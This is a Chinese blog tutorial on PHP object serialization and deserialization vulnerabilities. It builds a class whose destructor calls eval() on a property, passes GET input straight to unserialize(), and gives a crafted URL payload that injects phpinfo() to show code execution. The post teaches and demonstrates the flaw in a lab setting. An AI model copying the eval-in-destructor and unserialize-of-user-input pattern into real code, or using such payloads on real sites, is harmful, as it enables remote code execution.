美文网首页
PHP反序列化漏洞

PHP反序列化漏洞

作者: 玉宾 | 来源:发表于2020-08-07 19:46 被阅读0次

以前我觉得成绩不重要,清华北大只能代表学生时代的成就,后来才发现,努力是种习惯,他会贯穿一生。。。

----  网易云热评

一、创建类和对象

<?php

#创建一个Jay专辑类

class Jay{ 

    public $name;

    public $year;

    public $mus;

}

#创建一个Jay专辑对象

$jay1 =new Jay();

#专辑名称

$jay1->name="周杰伦的床边故事";

#专辑发行时间

$jay1->year=2016;

#专辑主打歌

$jay1->mus="告白气球";

$jay2 =new Jay();

$jay2->name="哎呦,不错哦";

$jay2->year=2014;

$jay2->mus="算什么男人";

echo "专辑名称:".$jay1->name."<hr>发行时间:".$jay1->year."<hr>主打歌:".$jay1->mus;

echo var_dump($jay2);

?>

运行结果:

二、序列化与反序列化概念

1、将一个对象转化为字符串并存储在一个文件中的过程被称为序列化

2、等到需要对象信息的时候,再从文件读取字符串的过程被称为反序列化

3、应用场景:将一个登录状态的用户的信息序列化,可以节省内存

三、将对象序列化与反序列化

1、序列化

<?php

#创建一个Jay专辑类

class Jay{

    public $name;

    public $year;

    public $mus;

}

#创建一个Jay专辑对象

$jay1 =new Jay();

#专辑名称

$jay1->name="周杰伦的床边故事";

#专辑发行时间

$jay1->year=2016;

#专辑主打歌

$jay1->mus="告白气球";

$jay2 =new Jay();

$jay2->name="哎呦,不错哦";

$jay2->year=2014;

$jay2->mus="算什么男人";

echo "专辑名称:".$jay1->name."<hr>发行时间:".$jay1->year."<hr>主打歌:".$jay1->mus;

#将对象jay2序列化

echo var_dump($jay2);

?>

运行结果:

O:object对象

第一个3:Jay的长度

第二个3:有三个属性值

s:string类型

4:name的程度

18:哎呦,不错哦的长度

i:int类型

每两个分号确定一个属性

2、反序列化

$str=<<<HTML

O:3:"Jay":3:{s:4:"name";s:18:"哎呦,不错哦";s:4:"year";i:2014;s:3:"mus";s:15:"算什么男人";}

HTML;

var_dump(unserialize($str));

运行结果

四、利用序列化漏洞

<?php

class Jay{

    public $name;

    public $year;

    public $mus;

    function __destruct()//程序结束的时候的会自动调用该函数,类似构造函数,创建对象会自动调用

    {

    @eval($this->mus);

    }

}

$jay1 =new Jay();

$jay1->name="周杰伦的床边故事";

$jay1->year=2016;

$jay1->mus="告白气球";

$jay2 =new Jay();

$jay2->name="哎呦,不错哦";

$jay2->year=2014;

$jay2->mus="算什么男人";

echo "专辑名称:".$jay1->name."<hr>发行时间:".$jay1->year."<hr>主打歌:".$jay1->mus."<hr>";

echo serialize($jay2);

echo "<hr>";

//将反序列操作的字符改为变量传递,并通过get方式提交

$tmp=$_GET['aaa'];

var_dump(unserialize($tmp));

?>

运行结果:

http://192.168.1.129/1.php?aaa=O:3:"Jay":3:{s:4:"name";s:18:"哎呦,不错哦";s:4:"year";i:2014;s:3:"mus";s:15:"算什么男人";}

修改一下mus的反序列字符串,修改为如下:

http://192.168.1.129/1.php?aaa=O:3:"Jay":3:{s:4:"name";s:18:"哎呦,不错哦";s:4:"year";i:2014;s:3:"mus";s:10:"phpinfo();";}

运行结果:

禁止非法,后果自负

欢迎关注公众号:web安全工具库

相关文章

网友评论

      本文标题:PHP反序列化漏洞

      本文链接:https://www.haomeiwen.com/subject/hgjqdktx.html